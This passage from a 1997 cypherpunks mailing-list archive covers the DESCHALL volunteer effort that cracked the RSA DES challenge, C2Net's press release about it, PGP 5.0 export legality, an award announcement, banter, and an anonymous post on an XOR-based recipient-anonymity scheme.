
ALTERNATE:
      Justin Dolske, (614) 459-5194, <dolske.1@osu.edu>


-- 
Jeff Simmons					jsimmons@goblin.punk.net

       Hey, man, got any spare CPU cycles?  Help crack DES.
             http://www.frii.com/~rcv/deschall.htm





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Thu, 19 Jun 1997 03:34:42 +0800
To: "Vladimir Z. Nuri" <vznuri@netcom.com>
Subject: Re: Declan as a Crime Beat Reporter
In-Reply-To: <v03102800afcc849b8fca@[207.167.93.63]>
Message-ID: <v03007804afcddb0bac04@[168.161.105.191]>
MIME-Version: 1.0
Content-Type: text/plain



At 20:34 -0700 6/17/97, Vladimir Z. Nuri wrote:
>hee, hee, I hope that Declan comes up with an amusing mishmash of your
>own life. turnabout is fair play. maybe if he doesn't, someone else
>can take a stab at satirizing mr. debauched millionaire playboy
>who dabbles in cryptography theory.

I was far from offended by Tim's post; in fact, I thought it was hilarious.

But perhaps I will come up with a "Day in the Life of Tim 'Lock and Load'
May, renegade cypherpunk, millionaire playboy, and curmudgeonly
crypto-anarchist." Anyone want to join me in writing it?

-Declan







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rabid Wombat <wombat@mcfeely.bsfs.org>
Date: Thu, 19 Jun 1997 04:25:38 +0800
To: Tim May <tcmay@got.net>
Subject: Re: The Tao
In-Reply-To: <v03102802afccf9fc2392@[207.167.93.63]>
Message-ID: <Pine.BSF.3.91.970618145849.27859B-100000@mcfeely.bsfs.org>
MIME-Version: 1.0
Content-Type: text/plain





On Tue, 17 Jun 1997, Tim May wrote:

> At 5:34 PM -0700 6/17/97, Tom Weinstein wrote:
> 
> >What is appropriate for the master is not appropriate| Tom Weinstein
> >for the novice.  You must understand Tao before      | tomw@netscape.com
> >transcending structure.  -- The Tao of Programming   |
> 
> All Beings are happy when the Tao approaches 8800.
> 

The Tao of heaven is like the bending of a bow.
The high is lowered, and the low is raised.
If the string is too long, it is shortened;
If there is not enough, it is made longer.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ARTURO GRAPA YSUNZA <AGRAPA@banamex.com>
Date: Thu, 19 Jun 1997 14:38:27 +0800
To: "sameer@c2.net>
Subject: Bullshit RE: HACKERS SMASH U.S. GOVERNMENT ENCRYPTION
Message-ID: <c=MX%a=_%p=BANACCI%l=CENTRALES/BARRANCA24/0001F962@MEX3976BCAOP1>
MIME-Version: 1.0
Content-Type: text/plain




I actually got a kick out of reading the bullshit in the press release.

>Oakland, California (June 18, 1997)-The 56-bit DES encryption
>standard, long claimed "adequate" by the U.S. Government, was
>shattered yesterday using an ordinary Pentium personal computer

Actually it was more than 70,000 clients working together

> "That DES can be broken so quickly should send a chill through the
>heart of anyone relying on it for secure communications,"

I'm shitting bricks. No mention was made that only 25% of the keyspace
was tested.

>"Unfortunately, most people today...

Unfortunately some companies depend on BS to sell products. Glad to see
C2Net is no different,

[Rest of the noise removed]

You should have given credit to DESCHALL whose effort is be applauded.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mike Duvos <enoch@zipcon.net>
Date: Thu, 19 Jun 1997 07:28:10 +0800
To: cypherpunks@cyberpass.net
Subject: Re: DESCHALL Press Release (fwd)
In-Reply-To: <199706182110.OAA07864@goblin.punk.net>
Message-ID: <199706182318.QAA29014@zipcon.net>
MIME-Version: 1.0
Content-Type: text/plain




>         INTERNET-LINKED COMPUTERS CHALLENGE DATA ENCRYPTION STANDARD

[snip]

> At the time the winning key was reported to RSADSI, the DESCHALL effort
> had searched almost 25% of the total.  At its peak over the recent
> weekend, the DESCHALL effort was testing 7 billion keys per second. 

A quick question.  Was finding the key by searching less than a quarter
of the keyspace just luck?  Or did the DESCHALL folks exclude keyspace
already searched by competing efforts?

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     enoch@zipcon.com   $    via Finger                       $





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jeff Simmons <jsimmons@goblin.punk.net>
Date: Thu, 19 Jun 1997 08:15:28 +0800
To: enoch@zipcon.net
Subject: Re: DESCHALL Press Release (fwd)
In-Reply-To: <199706182318.QAA29014@zipcon.net>
Message-ID: <199706190008.RAA10910@goblin.punk.net>
MIME-Version: 1.0
Content-Type: text/plain



> 
> 
> >         INTERNET-LINKED COMPUTERS CHALLENGE DATA ENCRYPTION STANDARD
> 
> [snip]
> 
> > At the time the winning key was reported to RSADSI, the DESCHALL effort
> > had searched almost 25% of the total.  At its peak over the recent
> > weekend, the DESCHALL effort was testing 7 billion keys per second. 
> 
> A quick question.  Was finding the key by searching less than a quarter
> of the keyspace just luck?  Or did the DESCHALL folks exclude keyspace
> already searched by competing efforts?
 
There were three main groups looking for the RSADSI key:  DESCHALL,
SOLNet (European based), and a private attack at SGI.  To my knowledge
none of them excluded keyspace the others had searched.

You might call it luck, but at the time the key was found, the combined
keyspace searched by the three groups was a bit over 50%, even counting
in the expected number of duplicate keys searched.

-- 
Jeff Simmons				"Hey guys, I don't hear any noise,
jsimmons@goblin.punk.net		 Are you sure you're doing it right?"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Thu, 19 Jun 1997 05:32:19 +0800
To: cypherpunks@toad.com
Subject: Deschall Fwd: WE FOUND IT!
Message-ID: <v03020900afcdff50cc00@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain




--- begin forwarded text


Mime-Version: 1.0
Date: Wed, 18 Jun 1997 17:01:16 -0400
To: dcsb@ai.mit.edu
From: Kent Borg <kentborg@borg.org>
Subject: Deschall Fwd: WE FOUND IT!
Sender: bounce-dcsb@ai.mit.edu
Precedence: bulk
Reply-To: Kent Borg <kentborg@borg.org>

56-bit DES has now been publicly cracked!  In a chaotic volunteer effort,
no less.  Cool!

-kb, the Kent who's Macintosh searched quite a few billion keys, but did
not find it.


<< start of forwarded material >>

 ** Date: Wed, 18 Jun 1997 13:46:19 -0600
 ** From: Rocke Verser <rcv@dopey.verser.frii.com>
 ** To: deschall-announce@gatekeeper.megasoft.com
 ** Subject:  WE FOUND IT!
 ** Sender: owner-deschall-announce@gatekeeper.megasoft.com
 ** Precedence: bulk
 **
 ** -----BEGIN PGP SIGNED MESSAGE-----
 **
 **         "Strong cryptography makes the world a safer place."
 **
 ** That's the message RSA has been waiting for us to decipher.
 ** And we did it!
 **
 ** The correct key (8558891AB0C851B6) was reported to RSA Data Security
 ** shortly before midnight last night (Mountain Time).  RSA's automated
 ** server acknowledged our win!
 **
 ** The winning computer is a Pentium 90MHz, operated by iNetZ Corporation
 ** of Salt Lake City, Utah.  Their employee, Michael K. Sanders, was the
 ** individual who was running the DESCHALL client.
 **
 ** Congratulations, Michael.  And congratulations to all who participated!
 **
 **
 ** Many thanks are due, all around.
 **
 ** Special thanks to Justin Dolske and Matt Curtin, who took enormous
 ** pressure off of me, early in the project; and who have kept the client
 ** archives, mailing lists, and gateways humming right along; and who
 ** diligently responded to *so many* questions on the mailing lists.
 ** Thanks very much!
 **
 ** Special thanks to Darrell Kindred and Andrew Meggs, whose programming
 ** skill in their respective fields (fast bitslice clients and fast
 ** user-friendly Mac PPC clients) is unmatched!
 **
 ** Special thanks to Karl Runge, who has spent many evenings into the wee
 ** hours (is 5 AM wee?) to develop some outstanding stats and to make sure
 ** those stats were posted each morning!
 **
 ** Special thanks to Jeff Simmons, and others, whose names tragically
 ** escape me, who did some early publicity to get the project rolling!
 **
 ** Special thanks to the other developers, Guy Albertelli and Kelly
 ** Campbell.  Guy performed a number of "ports", and Kelly produced the
 ** first Mac client.
 **
 ** Thanks to countless others, who devoted not just their CPU cycles, but
 ** their boundless energy as well.
 **
 **
 ** I offer both thanks and consolations to our only public "competitor",
 ** SolNET.
 **
 ** Magnus and Fredrik:  As I have said before, SolNET is a class outfit.  I
 ** never once heard you disparage your competition.  We thank you!
 **
 ** In a sense, the "win" belongs to all of us, who contributed CPU cycles
 ** and clients and ideas and innovations.  We searched less than 1/4 of the
 ** keyspace.  Worldwide, over half of the keyspace was searched.  A
 ** DESCHALL client may have found "the" key, but you deserve credit for
 ** helping to bring the "expected date of completion" significantly ahead.
 **
 ** Your Web site gave us a goal to shoot for.  A goal which we never met.
 ** Your clients had many features our users wished for.  There is no shame
 ** in not finding the key.  But I know the anguish you must feel after
 ** putting your hearts and souls into a project for 3-4 months, and not
 ** being "the" winner.
 **
 ** In my eyes, everyone who participated, whether working for the DESCHALL
 ** team or the SolNET team is a winner!
 **
 **
 ** Last but not least, thanks to my dear wife, Myra, who allowed me to
 ** engage in this project (when I should have been looking for my next
 ** contract programming job); and to her and my children, who tolerated
 ** the disruption to our household routine caused by this project.
 **
 **
 ** - - Rocke Verser, DESCHALL organizer, rcv@dopey.verser.frii.com
 **
 ** -----BEGIN PGP SIGNATURE-----
 ** Version: 2.6.2
 **
 ** iQCVAwUBM6g4wXI7TKUAAAABAQGNrwQAyuvPPGgIaRMmveI/9MwbTq6SbNerD4A3
 ** VluN2EW+GCvT1UiyTV2eQ3tJB+9f5RUVnQ77rqsVvME1Go0M1Vckq0VPzBdMYWgq
 ** laNv8tf4LEkSyu2LrfoLONyvrNmcByRmO8Bwt/QtqICK4gFpXcnoWXaCz4NG6iZf
 ** 6NtPgJnQh6o=
 ** =I+bG
 ** -----END PGP SIGNATURE-----
 **

<< end of forwarded material >>



--
Kent Borg                               H: +1-617-776-6899
kentborg@borg.org                       W:
          "The language seemed pretty natural to me.
                    I talk a lot like that."
        - My Minnesota mother Helene commenting on "Fargo"



For help on using this list (especially unsubscribing), send a message to
"dcsb-request@ai.mit.edu" with one line of text: "help".

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Thu, 19 Jun 1997 06:05:31 +0800
To: cypherpunks@toad.com
Subject: Re: The Tao
Message-ID: <199706182153.RAA14958@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain



Rabid Wombat wrote:
> 
> The Tao of heaven is like the bending of a bow.
> The high is lowered, and the low is raised.
> If the string is too long, it is shortened;
> If there is not enough, it is made longer.

  I had a boyfriend like that once.

TruthMistress






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: frissell@panix.com
Date: Thu, 19 Jun 1997 07:58:28 +0800
To: Tim May <cypherpunks@Algebra.COM
Subject: Re: Declan as a Crime Beat Reporter
In-Reply-To: <v03007804afcddb0bac04@[168.161.105.191]>
Message-ID: <3.0.2.32.19970618182700.0384a25c@panix.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

At 01:50 PM 6/18/97 -0700, Tim May wrote:
>Washington is literally nothing more than just the
>world's largest shakedown racket, with taxpayers being extorted amounts of
>money probably unprecedented in world history (*), with various factions
>dispensing favors to some and punishing others.

Each year, the U.S. federal government steals and spends more money (and more 
actual value) than any government has ever stolen and blown before in the 
history of mankind.   It has been the record holder for more than 50 years 
and each year it breaks its own record.

I am aware that this is because the U.S. is the world's largest economy but 
that fact does not diminish the scale of the theft.

DCF

"And still they want more."
-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQCVAwUBM6hgs4VO4r4sgSPhAQE9dwP/VtpR6VWejpDnunTOQhiJwq/MwQTRvGD2
faBIJ3OrahlzlylwyN0b9pCFXMMDrzKR5ANED9ccPmy3ZqL1RWYhN4WO3Yf5ooxA
6NoPTelrwLGo15EjM6MjvyPXhid4qDfLlyNi8qocI3FKHsEANW63yktZb7eeoCJ3
mXQ9CHePPS4=
=stVA
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: twinsvideo@infosel.net.mx
Date: Thu, 19 Jun 1997 09:05:05 +0800
To: cypherpunks@toad.com
Subject: INFORMATION
Message-ID: <Chameleon.970618185549.twinsvideo@infosel.infosel.net.mx>
MIME-Version: 1.0
Content-Type: text/plain



donn't think that i'm lame or somthin' but i realy need information on how to hack so, could you please tell me how to hack 
and what do i need in order to hack.

don't worry i won't get into trouble.

please hurry it's urgent.

T H N X   A L O T !
-------------------------------------
Name: twins video,s.a. de c.v.
E-mail: twinsvideo@infosel.net.mx
Date: 18/06/97
Time: 6:46:10 PM

This message was sent by Chameleon 
-------------------------------------






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: sameer <sameer@c2.net>
Date: Thu, 19 Jun 1997 10:07:42 +0800
To: cypherpunks@cyberpass.net
Subject: HACKERS SMASH U.S. GOVERNMENT ENCRYPTION STANDARD
Message-ID: <199706190155.SAA08785@gabber.c2.net>
MIME-Version: 1.0
Content-Type: text/plain



C2Net Software, Inc.
1212 Broadway
Oakland, CA 94612
510-986-8770

For Immediate Release

	  HACKERS SMASH U.S. GOVERNMENT ENCRYPTION STANDARD

Oakland, California (June 18, 1997)-The 56-bit DES encryption
standard, long claimed "adequate" by the U.S. Government, was
shattered yesterday using an ordinary Pentium personal computer
operated by Michael K. Sanders, an employee of iNetZ, a Salt Lake
City, Utah-based online commerce provider. Sanders was part of a
loosely organized group of computer users responding to the "RSA
$10,000 DES Challenge." The code-breaking group distributed computer
software over the Internet for harnessing idle moments of computers
around the world to perform a 'brute force' attack on the encrypted
data.

"That DES can be broken so quickly should send a chill through the
heart of anyone relying on it for secure communications," said Sameer
Parekh, one of the group's participants and president of C2Net
Software, an Internet encryption provider headquartered in Oakland,
California (http://www.c2.net/). "Unfortunately, most people today
using the Internet assume the browser software is performing secure
communications when an image of a lock or a key appears on the
screen. Obviously, that is not true when the encryption scheme is
56-bit DES," he said.

INetZ vice president Jon Gay said "We hope that this will encourage
people to demand the highest available encryption security, such as
the 128-bit security provided by C2Net's Stronghold product, rather
than the weak 56-bit ciphers used in many other platforms."

Many browser programs have been crippled to use an even weaker, 40-bit
cipher, because that is the maximum encryption level the
U.S. government has approved for export. "People located within the US
can obtain more secure browser software, but that usually involves
submitting an affidavit of eligibility, which many people have not
done," said Parekh. "Strong encryption is not allowed to be exported
from the U.S., making it harder for people and businesses in
international locations to communicate securely," he explained.

According to computer security expert Ian Goldberg, "This effort
emphasizes that security systems based on 56-bit DES or
"export-quality" cryptography are out-of-date, and should be phased
out. Certainly no new systems should be designed with such weak
encryption.'' Goldberg is a member of the University of California at
Berkeley's ISAAC group, which discovered a serious security flaw in
the popular Netscape Navigator web browser software.

The 56-bit DES cipher was broken in 5 months, significantly faster
than the hundreds of years thought to be required when DES was adopted
as a national standard in 1977. The weakness of DES can be traced to
its "key length," the number of binary digits (or "bits") used in its
encryption algorithm. "Export grade" 40-bit encryption schemes can be
broken in less than an hour, presenting serious security risks for
companies seeking to protect sensitive information, especially those
whose competitors might receive code-breaking assistance from foreign
governments.

According to Parekh, today's common desktop computers are tremendously
more powerful than any computer that existed when DES was
created. "Using inexpensive (under $1000) computers, the group was
able to crack DES in a very short time," he noted. "Anyone with the
resources and motivation to employ modern "massively parallel"
supercomputers for the task can break 56-bit DES ciphers even faster,
and those types of advanced technologies will soon be present in
common desktop systems, providing the keys to DES to virtually
everyone in just a few more years."

56-bit DES uses a 56-bit key, but most security experts today consider
a minimum key length of 128 bits to be necessary for secure
encryption. Mathematically, breaking a 56-bit cipher requires just
65,000 times more work than breaking a 40-bit cipher. Breaking a
128-bit cipher requires 4.7 trillion billion times as much work as one
using 56 bits, providing considerable protection against brute-force
attacks and technical progress.

C2Net is the leading worldwide provider of uncompromised Internet
security software. C2Net's encryption products are developed entirely
outside the United States, allowing the firm to offer full-strength
cryptography solutions for international communications and
commerce. "Our products offer the highest levels of security available
today. We refuse to sell weak products that might provide a false
sense of security and create easy targets for foreign governments,
criminals, and bored college students," said Parekh. "We also oppose
so-called "key escrow" plans that would put everyone's cryptography
keys in a few centralized locations where they can be stolen and sold
to the highest bidder," he added. C2Net's products include the
Stronghold secure web server and SafePassage Web Proxy, an enhancement
that adds full-strength encryption to any security-crippled "export
grade" web browser software.

# # #

Pentium is a registered trademark of Intel Corporation.

Netscape and Netscape Navigator are registered trademarks of Netscape
Communications Corporation

Stronghold and SafePassage are trademarks of C2Net Software, Inc.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Thu, 19 Jun 1997 10:09:32 +0800
To: Robert Hettinga <rah@shipwright.com>
Subject: Bob quoted in DowJones Markets magazine
In-Reply-To: <v03102800afcc849b8fca@[207.167.93.63]>
Message-ID: <v03102800afce41591e9f@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain



"Atoms to Bits: The Future of Money," in the June/July edition of Markets
magazine (page 17), appears to have an unattributed quote from our very own
Bob Hettinga:

	Take, for example, this comment from a futurist's correspondence
	on the Internet: "I expect that this new cashsettled, information-
	based, geodesic economy we're heading into will have some group which
	will figure out how to confiscate economic rents from the productive
	elements of society, much in the way that aristocrats did to
agriculture
	or nation-states did to industry."

--Steve


PGP mail preferred
Fingerprint: FE 90 1A 95 9D EA 8D 61  81 2E CC A9 A4 4A FB A9
---------------------------------------------------------------------
Steve Schear              | tel: (702) 658-2654
CEO                       | fax: (702) 658-2673
First ECache Corporation  |
7075 West Gowan Road      |
Suite 2148                |
Las Vegas, NV 89129       | Internet: azur@netcom.com
---------------------------------------------------------------------

        I know not what instruments others may use,
        but as for me, give me Ecache or give me debt.

        SHOW ME THE DIGITS!






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Thu, 19 Jun 1997 07:31:23 +0800
To: cypherpunks@toad.com
Subject: Award from Computer Press Ass'n (shameless self-congratulation)
Message-ID: <v0300780fafce1cc01edb@[168.161.105.191]>
MIME-Version: 1.0
Content-Type: text/plain



I just learned that Brock Meeks and I won the top award for "Best Online
Feature" from the Computer Press Association during its 12th annual awards
ceremony in New York City. Our winning article was the investigative story
"Keys to the Kingdom" that exposed the hidden agendas of so-called blocking
software programs. It ran in CyberWire Dispatch last July.

The judges said we had:

 "produced an investigative piece on a serious and important
 subject--a rare feat in any media.  'Keys to the Kingdom' revealed
 that parental control software--which ostensibly filters out
 pornographic Internet sites--actually restricts access to all
 types of material both innocuous and important.  Thus, software
 users unwittingly restrict their rights of free speech and access
 to information.  This story, colorfully written and packed with
 details, raised this important issue to the online community and
 resulted in high profile follow-ups with mainstream media such as
 the Washington Post, New York Times and the Wall St. Journal."

Our article is at:

http://www.eff.org/pub/Publications/Declan_McCullagh/cwd.keys.to.the.kingdom.079
6.article

-Declan



-------------------------
Declan McCullagh
Time Inc.
The Netly News Network
Washington Correspondent
http://netlynews.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Thu, 19 Jun 1997 11:17:52 +0800
To: Arunas Norvaisa <arunas@post1.com>
Subject: Re: [?????] PGP 5.0 Freeware is available from ???
In-Reply-To: <3.0.32.19970618180132.00696e10@post1.com>
Message-ID: <3.0.2.32.19970618192907.007707dc@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 06:04 PM 6/18/97 +0300, Arunas Norvaisa wrote:
>>        ftp.hacktic.nl
>>        pub/replay/pub/incoming/pgp50trial.exe
> Will this be legal??? <= This is the question. BTW, when this
>'trial' version will cease to work?

"legal" means several things
1) If a US citizen in the US exported it, was that legal?  
	(probably not, though arguable in court.)
2) If a non-US-citizen located outside the US downloaded it
	from an account on a system in the US, does the US government
	have jurisdiction over them?  (probably not, so "legal" is moot.)
3) Does Nederlands law prevent you from exporting it to Turkey?
	(probably not, though if you were in Iraq or North Korea the
	answer might be different.)
4) Does Turkish law limit your importing or use of the software?
	(I don't know - you'll need to check that yourself.)
5) Does US law have any say over whether you can import it from
	the Nederlands to Turkey?  (Not really...)


#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Thu, 19 Jun 1997 07:48:03 +0800
To: cypherpunks@toad.com
Subject: Re: Award from Computer Press Ass'n (shameless self-congratulation)
Message-ID: <1.5.4.32.19970618233105.00708a00@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



Congrats Declan, and Brock.

The best blow-by was that "colorfully written and packed with details."

Too bad, that ass-kiss o'death "high-profile follow-up with mainstream media."






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Thu, 19 Jun 1997 11:10:57 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Bob quoted in DowJones Markets magazine
In-Reply-To: <v03102800afce41591e9f@[10.0.2.15]>
Message-ID: <v03102807afce50136cad@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 7:20 PM -0700 6/18/97, Robert Hettinga wrote:
>At 9:59 pm -0400 on 6/18/97, Steve Schear wrote:
>
>
>> "Atoms to Bits: The Future of Money," in the June/July edition of Markets
>> magazine (page 17), appears to have an unattributed quote from our very own
>> Bob Hettinga:
>
>Yeah. the guy who wrote it said that he did attribute it to me, but since I
>was "someone the average Telerate user wouldn't recognise", the copy
>editors killed it.

After this happened to me a while back, I told a later reporter that I
expected any quotes from me would be credited, as they were my words. I
told him I was not releasing my rights to these words, and that I wanted a
written, faxed, or e-mailed contract to this effect.

He said  he had no control over how his editors altered quotes, reworded
them, or deleted credits, so we ended our discussion at this point.

(No, this was not Declan.)

Not that it matters. Face it, our words in print vanish without a trace,
and are remembered by nobody except ourselves.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rabid Wombat <wombat@mcfeely.bsfs.org>
Date: Thu, 19 Jun 1997 09:56:21 +0800
To: lucifer Anonymous Remailer <lucifer@dhp.com>
Subject: Re: The Tao
In-Reply-To: <199706182153.RAA14958@dhp.com>
Message-ID: <Pine.BSF.3.91.970618202527.28358B-100000@mcfeely.bsfs.org>
MIME-Version: 1.0
Content-Type: text/plain





On Wed, 18 Jun 1997, lucifer Anonymous Remailer wrote:

> Rabid Wombat wrote:
> > 
> > The Tao of heaven is like the bending of a bow.
> > The high is lowered, and the low is raised.
> > If the string is too long, it is shortened;
> > If there is not enough, it is made longer.
> 
>   I had a boyfriend like that once.
> 
> TruthMistress
> 

The female overcomes the male with stillness,
Lying low in stillness.

-r.w.
"A good marsuipal leaves no tracks."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Frantz <frantz@netcom.com>
Date: Thu, 19 Jun 1997 12:46:00 +0800
To: Declan McCullagh <cypherpunks@toad.com
Subject: Re: Award from Computer Press Ass'n (shamelessself-congratulation)
In-Reply-To: <v0300780fafce1cc01edb@[168.161.105.191]>
Message-ID: <v0300789aafce6351d515@[207.94.249.152]>
MIME-Version: 1.0
Content-Type: text/plain



At 4:18 PM -0700 6/18/97, Declan McCullagh wrote:
>I just learned that Brock Meeks and I won the top award for "Best Online
>Feature" from the Computer Press Association during its 12th annual awards
>ceremony in New York City. Our winning article was the investigative story
>"Keys to the Kingdom" that exposed the hidden agendas of so-called blocking
>software programs. It ran in CyberWire Dispatch last July.

Congratulations.  It was an important story.


-------------------------------------------------------------------------
Bill Frantz       | The Internet was designed  | Periwinkle -- Consulting
(408)356-8506     | to protect the free world  | 16345 Englewood Ave.
frantz@netcom.com | from hostile governments.  | Los Gatos, CA 95032, USA






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rabid Wombat <wombat@mcfeely.bsfs.org>
Date: Thu, 19 Jun 1997 10:55:05 +0800
To: sameer <sameer@c2.net>
Subject: Re: HACKERS SMASH U.S. GOVERNMENT ENCRYPTION STANDARD
In-Reply-To: <199706190155.SAA08785@gabber.c2.net>
Message-ID: <Pine.BSF.3.91.970618211910.28358K-100000@mcfeely.bsfs.org>
MIME-Version: 1.0
Content-Type: text/plain





On Wed, 18 Jun 1997, sameer may have penned some advertising:

> 	  HACKERS SMASH U.S. GOVERNMENT ENCRYPTION STANDARD
> 
> Oakland, California (June 18, 1997)-The 56-bit DES encryption
> standard, long claimed "adequate" by the U.S. Government, was
> shattered yesterday using an ordinary Pentium personal computer

... and quite a few other assorted systems that didn't happen to 
search the "lucky keyspace." Was anyone on DESCHALL using a Trash-80? ;)

> INetZ vice president Jon Gay said "We hope that this will encourage
> people to demand the highest available encryption security, such as
> the 128-bit security provided by C2Net's Stronghold product, rather
> than the weak 56-bit ciphers used in many other platforms."

Of course.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Thu, 19 Jun 1997 10:27:33 +0800
To: cypherpunks@cyberpass.net
Subject: Re: DESCHALL Press Release (fwd)
In-Reply-To: <199706182318.QAA29014@zipcon.net>
Message-ID: <v0302091aafce44d8be15@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain



At 8:08 pm -0400 on 6/18/97, Jeff Simmons wrote:

> You might call it luck, but at the time the key was found, the combined
> keyspace searched by the three groups was a bit over 50%, even counting
> in the expected number of duplicate keys searched.

Which, of course, is the expected time to find a key in any random search.

Statistics: It ain't a good idea, it's reality. :-).

Stochastically yours,
Bob Hettinga

-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan Olsen <alan@ctrl-alt-del.com>
Date: Thu, 19 Jun 1997 13:51:31 +0800
To: twinsvideo@infosel.net.mx
Subject: Re: INFORMATION
In-Reply-To: <Chameleon.970618185549.twinsvideo@infosel.infosel.net.mx>
Message-ID: <3.0.2.32.19970618221325.01cf2b00@mail.teleport.com>
MIME-Version: 1.0
Content-Type: text/plain



At 06:46 PM 6/18/97 PDT, twinsvideo@infosel.net.mx wrote:
>
>donn't think that i'm lame or somthin' but i realy need information on how
to hack so, could you please tell me how to hack 
>and what do i need in order to hack.

I suggest really strong turkish cigarettes.  Smoke them constantly and soon
you will be hacking before you know it.

>don't worry i won't get into trouble.

Depends on the age of tobacco purchace in your state.  You might have to
get into High School before trying the above method.

>please hurry it's urgent.

That is what they all say...


---
|              "That'll make it hot for them!" - Guy Grand               |
|"The moral PGP Diffie taught Zimmermann unites all| Disclaimer:         |
| mankind free in one-key-steganography-privacy!"  | Ignore the man      |
|`finger -l alano@teleport.com` for PGP 2.6.2 key  | behind the keyboard.|
|         http://www.ctrl-alt-del.com/~alan/       |alan@ctrl-alt-del.com|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Thu, 19 Jun 1997 10:40:14 +0800
To: Steve Schear <azur@netcom.com>
Subject: Re: Bob quoted in DowJones Markets magazine
In-Reply-To: <v03020908afcc9f662d98@[139.167.130.246]>
Message-ID: <v0302091cafce47645743@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain



At 9:59 pm -0400 on 6/18/97, Steve Schear wrote:


> "Atoms to Bits: The Future of Money," in the June/July edition of Markets
> magazine (page 17), appears to have an unattributed quote from our very own
> Bob Hettinga:

Yeah. the guy who wrote it said that he did attribute it to me, but since I
was "someone the average Telerate user wouldn't recognise", the copy
editors killed it.

Maybe I should write a letter to the editor or something, but I seem to be
aspiring to lethargy on the issue at the moment...

Cheers,
Bob Hettinga

-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Thu, 19 Jun 1997 04:37:58 +0800
To: cypherpunks@cyberpass.net
Subject: NoneRe: Recipient Anonymity
Message-ID: <199706182024.WAA28920@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Matt Ghio wrote:

> A group of servers collects messages of equal length for anonymous
> recipients.  All servers exchange messages so that each has copies of all
> messages.
> 
> A recipient wishes to retrieve a message from the servers without any
> server knowing which message he is receiving.  The recipient selects a
> group of n servers.  From each server, S_1...S_n-1, he requests a random
> selection of messages, with a 50% probability that any particular message
> will be selected.  The server returns the xor of all messages requested.
> He sends the final server a request which is the xor of all the previous
> requests and the one single message that he wants.
> 
> The xor of all the responses is the desired message.  It is impossible to
> determine which message was received unless all servers collude.


So what you're saying is:

                             - Messages - 
